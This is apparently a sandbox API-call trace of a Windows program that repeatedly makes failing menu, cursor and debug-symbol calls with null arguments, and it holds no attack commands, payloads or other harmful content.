[0140.949] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.949] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.949] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1222, param_4=347, param_5=0x0, param_6=0x0) returned 0 [0140.949] GetLastError () returned 0x579 [0140.949] SetLastError (dwErrCode=0x579) [0140.949] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.949] SymCleanup (hProcess=0x0) returned 0 [0140.950] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.950] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.950] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.950] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.950] GetLastError () returned 0x579 [0140.950] SetLastError (dwErrCode=0x579) [0140.950] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.950] SymCleanup (hProcess=0x0) returned 0 [0140.950] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.950] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.950] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.950] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.950] GetLastError () returned 0x579 [0140.950] SetLastError (dwErrCode=0x579) [0140.950] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.950] SymCleanup (hProcess=0x0) returned 0 [0140.950] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.950] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.950] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.950] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.950] GetLastError () returned 0x579 [0140.950] SetLastError (dwErrCode=0x579) [0140.950] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.950] SymCleanup (hProcess=0x0) returned 0 [0140.950] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.950] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.950] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.951] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.951] GetLastError () returned 0x579 [0140.951] SetLastError (dwErrCode=0x579) [0140.951] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.951] SymCleanup (hProcess=0x0) returned 0 [0140.951] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.951] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.951] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.951] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1005, param_4=369, param_5=0x0, param_6=0x0) returned 0 [0140.951] GetLastError () returned 0x579 [0140.951] SetLastError (dwErrCode=0x579) [0140.951] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.951] SymCleanup (hProcess=0x0) returned 0 [0140.951] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.951] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.951] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.951] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.951] GetLastError () returned 0x579 [0140.951] SetLastError (dwErrCode=0x579) [0140.951] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.951] SymCleanup (hProcess=0x0) returned 0 [0140.951] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.951] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.951] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.953] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.953] GetLastError () returned 0x579 [0140.953] SetLastError (dwErrCode=0x579) [0140.953] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.953] SymCleanup (hProcess=0x0) returned 0 [0140.953] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.953] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.953] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.954] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.954] GetLastError () returned 0x579 [0140.954] SetLastError (dwErrCode=0x579) [0140.954] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.954] SymCleanup (hProcess=0x0) returned 0 [0140.954] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.954] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.954] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.954] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0140.954] GetLastError () returned 0x579 [0140.954] SetLastError (dwErrCode=0x579) [0140.954] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.954] SymCleanup (hProcess=0x0) returned 0 [0140.954] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.954] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.954] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.954] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=887, param_4=898, param_5=0x0, param_6=0x0) returned 0 [0140.954] GetLastError () returned 0x579 [0140.954] SetLastError (dwErrCode=0x579) [0140.954] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.954] SymCleanup (hProcess=0x0) returned 0 [0140.954] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.954] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.954] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.954] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.955] GetLastError () returned 0x579 [0140.955] SetLastError (dwErrCode=0x579) [0140.955] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.955] SymCleanup (hProcess=0x0) returned 0 [0140.955] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.955] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.955] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.955] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0140.955] GetLastError () returned 0x579 [0140.955] SetLastError (dwErrCode=0x579) [0140.955] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.955] SymCleanup (hProcess=0x0) returned 0 [0140.955] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.955] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.955] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.955] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.955] GetLastError () returned 0x579 [0140.955] SetLastError (dwErrCode=0x579) [0140.955] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.955] SymCleanup (hProcess=0x0) returned 0 [0140.955] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.955] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.955] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.955] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0140.955] GetLastError () returned 0x579 [0140.956] SetLastError (dwErrCode=0x579) [0140.956] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.956] SymCleanup (hProcess=0x0) returned 0 [0140.956] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.956] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.956] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.956] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=979, param_4=180, param_5=0x0, param_6=0x0) returned 0 [0140.956] GetLastError () returned 0x579 [0140.956] SetLastError (dwErrCode=0x579) [0140.956] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.956] SymCleanup (hProcess=0x0) returned 0 [0140.956] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.956] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.956] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.956] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.956] GetLastError () returned 0x579 [0140.956] SetLastError (dwErrCode=0x579) [0140.956] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.956] SymCleanup (hProcess=0x0) returned 0 [0140.956] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.956] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.956] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.956] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0140.956] GetLastError () returned 0x579 [0140.956] SetLastError (dwErrCode=0x579) [0140.957] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.957] SymCleanup (hProcess=0x0) returned 0 [0140.957] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.957] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.957] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.957] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.957] GetLastError () returned 0x579 [0140.957] SetLastError (dwErrCode=0x579) [0140.957] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.957] SymCleanup (hProcess=0x0) returned 0 [0140.957] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.957] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.957] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.957] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.957] GetLastError () returned 0x579 [0140.957] SetLastError (dwErrCode=0x579) [0140.957] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.957] SymCleanup (hProcess=0x0) returned 0 [0140.957] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.957] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.957] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.957] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=751, param_4=541, param_5=0x0, param_6=0x0) returned 0 [0140.957] GetLastError () returned 0x579 [0140.957] SetLastError (dwErrCode=0x579) [0140.957] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.957] SymCleanup (hProcess=0x0) returned 0 [0140.957] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.958] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.958] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.958] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.958] GetLastError () returned 0x579 [0140.958] SetLastError (dwErrCode=0x579) [0140.958] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.958] SymCleanup (hProcess=0x0) returned 0 [0140.958] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.958] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.958] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.958] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.958] GetLastError () returned 0x579 [0140.958] SetLastError (dwErrCode=0x579) [0140.958] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.958] SymCleanup (hProcess=0x0) returned 0 [0140.958] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.958] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.958] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.958] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.958] GetLastError () returned 0x579 [0140.958] SetLastError (dwErrCode=0x579) [0140.958] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.958] SymCleanup (hProcess=0x0) returned 0 [0140.958] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.958] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.958] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.959] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.959] GetLastError () returned 0x579 [0140.959] SetLastError (dwErrCode=0x579) [0140.959] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.959] SymCleanup (hProcess=0x0) returned 0 [0140.959] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.959] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.959] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.959] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1357, param_4=445, param_5=0x0, param_6=0x0) returned 0 [0140.959] GetLastError () returned 0x579 [0140.959] SetLastError (dwErrCode=0x579) [0140.959] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.959] SymCleanup (hProcess=0x0) returned 0 [0140.959] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.959] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.959] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.959] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.959] GetLastError () returned 0x579 [0140.959] SetLastError (dwErrCode=0x579) [0140.959] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.959] SymCleanup (hProcess=0x0) returned 0 [0140.959] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.959] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.959] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.959] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.960] GetLastError () returned 0x579 [0140.960] SetLastError (dwErrCode=0x579) [0140.960] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.960] SymCleanup (hProcess=0x0) returned 0 [0140.960] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.960] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.960] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.960] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.960] GetLastError () returned 0x579 [0140.960] SetLastError (dwErrCode=0x579) [0140.960] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.960] SymCleanup (hProcess=0x0) returned 0 [0140.960] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.960] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.960] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.960] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0140.960] GetLastError () returned 0x579 [0140.960] SetLastError (dwErrCode=0x579) [0140.960] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.960] SymCleanup (hProcess=0x0) returned 0 [0140.960] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.960] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.960] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.960] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=166, param_4=125, param_5=0x0, param_6=0x0) returned 0 [0140.961] GetLastError () returned 0x579 [0140.961] SetLastError (dwErrCode=0x579) [0140.961] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.961] SymCleanup (hProcess=0x0) returned 0 [0140.961] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.961] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.961] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.961] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.961] GetLastError () returned 0x579 [0140.961] SetLastError (dwErrCode=0x579) [0140.961] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.961] SymCleanup (hProcess=0x0) returned 0 [0140.961] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.961] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.961] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.961] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=847, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.961] GetLastError () returned 0x579 [0140.961] SetLastError (dwErrCode=0x579) [0140.961] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.961] SymCleanup (hProcess=0x0) returned 0 [0140.961] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.961] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.961] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.961] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0140.961] GetLastError () returned 0x579 [0140.961] SetLastError (dwErrCode=0x579) [0140.962] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.962] SymCleanup (hProcess=0x0) returned 0 [0140.962] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.962] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.962] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.962] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0140.962] GetLastError () returned 0x579 [0140.962] SetLastError (dwErrCode=0x579) [0140.962] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0140.962] SymCleanup (hProcess=0x0) returned 0 [0140.962] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0140.962] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0140.962] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0140.962] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=813, param_4=159, param_5=0x0, param_6=0x0) returned 0 [0140.962] GetLastError () returned 0x579 [0140.962] SetLastError (dwErrCode=0x579) 